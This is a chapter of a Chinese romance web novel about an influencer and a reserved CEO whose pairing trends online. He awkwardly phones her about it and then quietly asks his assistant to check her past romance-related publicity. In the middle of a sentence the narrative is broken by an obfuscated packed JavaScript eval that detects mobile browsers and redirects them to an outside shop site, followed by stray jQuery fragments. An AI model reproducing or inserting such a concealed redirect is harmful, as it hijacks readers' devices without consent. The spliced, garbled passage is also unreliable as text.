沈圆钰盯着热搜第一上面的名字足足看了半分钟，脑子里第一时间浮现出来的竟然是一张表情包：
【中文竟然还可以这样排列组合，是我见识还是太少了（摸老师.jpg）】
虽然之前也没少上热搜，但这次的标题内容让她甚至都没有点进去看的勇气。
一个是她都能猜到评论区的构造分为几类；另一个是她一想到自己和不太熟的甲方被组成CP送上热搜第一，就觉得脚趾扣地。
决定暂时逃避这个事情，她慢吞吞地往下划了划，准备先看看别的内容缓解一下。但心里那点痒意怎么都压不下去，所以没忍住还是点了进去。
里面的内容不出她所料，已经分成几个截然不同的阵营。
有人认真讨论镜酌然的长相，甚至扒出了他的过往采访；有人顺藤摸瓜找到她之前直播里提到镜酌然的直播切片，开始逐字逐句分析两人的关系。
还有一群人根本懒得分析，直接在评论区畅所欲言：
【别的不说，这两个人站一起好养眼啊，气质感觉也很搭，有没有别的互动合集让我再吃一口，这对好香啊。】
【刚看了直播cut感觉两个人化学反应好好啊，有没有人写这对CP文，感觉好好吃......】
【感觉这两个人明明都是很普通的互动，怎么这么有CP感啊...TT】
【而且没人觉得镜总一直很直球吗！不敢想这两个人要是在一起的话作为CP粉得多幸福:P】
当然也有人立刻出来澄清：
【你们别乱磕呀，这两个人一看就是普通工作关系，聊天互动看起来完全不熟吧。】
【虽然但是这俩确实只是普通合作关系，圆圆今天直播时候都快从镜头里挪出去了，你们还看不出来吗哈哈哈哈。】
【对啊圆圆在直播间时候就已经澄清过了，而且两个人才开始合作关系，大家还是稍微收敛一点吧…】
看大部分评论都只是正常讨论，就算是磕CP也只是理性范围内的调侃，沈圆钰也就放下心来，从话题内容退了出去。
实话说，她在互联网混这么多年，对这种热搜早就见怪不怪——漂亮女生和帅气男老板同框，直播间又刚好有一些可以调侃的互动，网友讨论几句实在太正常不过。
只要没有比较严重的讨论内容，公司这边没有专门发声明的必要，只需要静静等待热度自然消退，解释了反而会有种欲盖弥彰的感觉。
所以沈圆钰只把这件事当成一个有点尴尬的小插曲。经纪人发来的消息也和她预测的内容大差不差：【热搜看到了吧？公关那边说不用回应，正常营业就行。】
她立刻回复了一个OK的表情。
事情一切看起来都在按照互联网的规律进行着，所以沈圆钰也没有再把这件事放在心上。
但有点出乎意料的事还是发生了。
原本以为这个热搜在第二天就会从榜上消失，但它留存时间似乎比往常这类热搜的正常情况要稍长一些——
因为直到第二天上午，这个热搜居然还一直稳定在前十的位置。
知道这个情况的时候，镜酌然刚结束一个视频会议。助理将平板放到他手边：“镜总，昨天直播产生的热搜公关那边问需不需要处理。”
“不需要，”镜酌然低头翻了翻数据，语气平淡，“正常关注就行，不用刻意压热度。”
“好的。”
随着助理点头离开，办公室重新安静下来。
镜酌然安静看着面前的文件片刻后，拿起手机点开了微博。
一点进去就看到那条热搜正非常显眼地挂在靠前的位置，他点进去随手划几下看了看具体内容，确实没有什么值得特意关注的。
无非就是说他们两个般配的话，这种内容他早就见怪不怪，也完全在他的预期之内。
所以他看几眼之后就面无表情地退出了。
正准备把注意力重新放回工作上，手机却突然震动几下，随之弹出几条消息来：
【？镜酌然，你怎么上热搜了。】
【而且还是和沈圆钰一起上的，你们公司现在的业务范围拓展得这么广了？下海了怎么不跟我说一声。】
只根据这发消息的频繁程度就能判断出来发消息的人是谁。镜酌然淡淡瞥一眼消息内容，没有回复临锋的意思。
但对方显然也没指望他回复，只是专心致志地进行着他的消息轰炸工作：
【怎么你也要学其他公司那样，老板兼任男嘉宾一起直播？】
【而且你不是不爱出镜吗，之前公开场合被顶上热搜你都不乐意，这次怎么又乐意了？我看热度现在一点没减啊。】
预想到这消息的走向要走偏，镜酌然眉头微蹙，这才终于回一句：
【临时安排。】
临锋很快回：
【哦~临时安排~咱们向来讲求规矩的镜总也有破例的时候啊~】
【所以采访你一下，你现在什么感觉？网上现在都说你俩般配，我看还有人剪你俩CP向视频呢，那配乐和特效看得我都差点信了。】
镜酌然不明白这问题有什么可问的。
临锋自己本身也是互联网公司的CEO，对于这些内容早就见怪不怪——网上的内容只能信一半，他肯定明白这个道理。
疑惑这突如其来的问题，他把这当成对方无聊的消遣和调侃：
【没感觉。】
【？真没感觉？】
【嗯。】
见状，临锋挑挑眉。他其实不觉得很意外——镜酌然这种榆木脑袋，能说有感觉才是见了鬼了。
而且他看了两个人的直播互动内容，心中也门儿清俩人确实不是很熟，只是普通的工作关系。但这事不正常的地方就在于，镜酌然竟然会主动出镜，还在直播间待那么久。
总觉得这事没那么简单，不过也没打算现阶段多说什么，他安静几秒：
【行，我就随便问问。】
【不过话说回来，你以前出去盯直播现场时候，也没见你亲自上镜啊。】
【她邀请的。】
个屁。
明眼人都看得出来她那只是给个台阶下，根本没有让他出镜的意思，临锋呵呵冷笑一声，他根本不信镜酌然没看出来：
【哦。那你这个老板还真挺好说话，听得我都想入职你们公司了。】
【可以，把你公司给我。】
“......”
你小子真是油盐不进是吧。
被这个回复噎得不轻，临锋忍不住狠狠翻个白眼，又贫嘴几句刷几张表情包骚扰对面。
不过镜酌然没有再回他。
提前预判到对方的反应，他快一步把手机调至静音，神色如常地重新拿起桌上看到一半的文件。
而此时此刻，另一边的沈圆钰正在看刚送到她手里的新合同内容，整体和之前沟通的差不多，她没什么异议，很快签字发回。
把签好的合同扫描件拖进邮件发送出去，然后顺手把桌面上散落的几支笔收进笔筒里。正准备点开视频选题的文件，她的手机忽然响了起来。
【来电显示：镜酌然】
看到这个名字一瞬间有点茫然，但很快意识到估计是合同方面的事情，她从椅背上直起身来接起电话：“喂，镜总？”
“嗯，”男人的声音从电话那头传过来，“新合同收到了吗？”
“收到了，我已经签完发回去了。”
“好。”
沈圆钰等了两秒，发现对方没有要继续说话的意思。疑惑地看一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962274|214353||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼手机以为是信号出了问题，但屏幕上的通话计时仍在正常跳动。
“那......您还有别的问题吗？”
“没有。”
对方干脆利落给出这两个字的回答后就没有继续说话。以为是把结束语的任务交给自己，她便很自然地开口：“那如果没什么事的话——”
“昨天的热搜。”
哦。
原来是还有事情要说。
已经知道这个人不太会闲聊，所以把沉默当成镜酌然在整理措辞，沈圆钰很快反应过来：“您是说昨天直播的事情？那个事经纪人已经告诉我啦。”
“你没有受到影响？”
依旧没能适应对方谈话内容风格切换的速度，宛如一些APP开屏自动跳转一样令人猝不及防，沈圆钰愣了一下：
“没有没有，您放心吧，这种事情很正常的，我做互联网这么多年早习惯啦。大家就是觉得您长得帅所以开两句玩笑而已。”
电话那头安静片刻。
随后，电话那头的镜酌然似乎是思索一番什么重要的事情后，才不紧不慢继续开口问道：
“你之前也被传过绯闻吗？”
“啊？”
沈圆钰感觉自己又不小心晃了下手机，跳转到老板聊天话题的其他界面去了。但电话那头的人语气平静停顿自然，听不出任何异样：
“我是说，以前有没有出现过类似的舆情。”
这下沈圆钰明白过来：
“有哇，刚开始做账号的时候比较多，那时候账号还没稳定下来，而且也没有自己的团队，所以做什么都有人猜，不过现在还好啦。”
“真的没什么。网上的人今天讨论这个，明天就讨论别的啦，这种事情对我来说无所谓的。”
“嗯，我知道，”若有所思地点点头，镜酌然语气平稳，仿佛真的只是例行询问，“只是确认一下。”
又简单聊几句工作上的事情后才挂断电话，镜酌然把手机倒扣在桌面上，继续处理其他工作内容。
手中的钢笔不时在纸面上落下一两句利落的批注，他此刻的工作状态与平时并无二致。
只是眉心不知什么时候微微皱起。
钢笔尖在纸面上停了一拍，他把文件翻过一页又翻回来。
直到十几分钟后，办公室的门被敲响。助理拿着一摞文件走进来：“镜总，这是下午需要您签字的文件。”
“放这里。”
“好的。”助理将文件放到桌面上，正准备离开的时候，脚下的动作一顿。
他跟在镜酌然身边已经有几年时间了，对方虽然日常生活里情绪波动并不明显，但今天的气场似乎更低一点。
犹豫再三，他还是有些担心地问道：
“镜总，您......是不是有什么事情？”
“没有。”
回答的速度很快。快到让人觉得明显是说反话的程度。
见状不准备过问太多，助理点点头转过身去，在走到门口即将拉开办公室大门的时候，身后蓦地传来老板的声音：
“等等。”
等他回头的功夫，镜酌然已经重新低下头，表情看上去只是在认真处理工作相关的问题：“你去看一下沈圆钰过去的舆情记录。”
助理愣了一下：“沈小姐？”
“嗯。”
“主要看哪一部分？”直觉告诉他这个事情不宜深想，助理明智地决定只完成自己分内工作。
手上的动作稍稍停顿了一瞬，镜酌然翻过一页文件，像是在安排一项在普通不过的工作内容：
“在和她合作期间内可能涉及的舆情风险，尤其是……”
他的笔尖在纸面上轻点一下，留下一道痕迹。
“感情相关的。”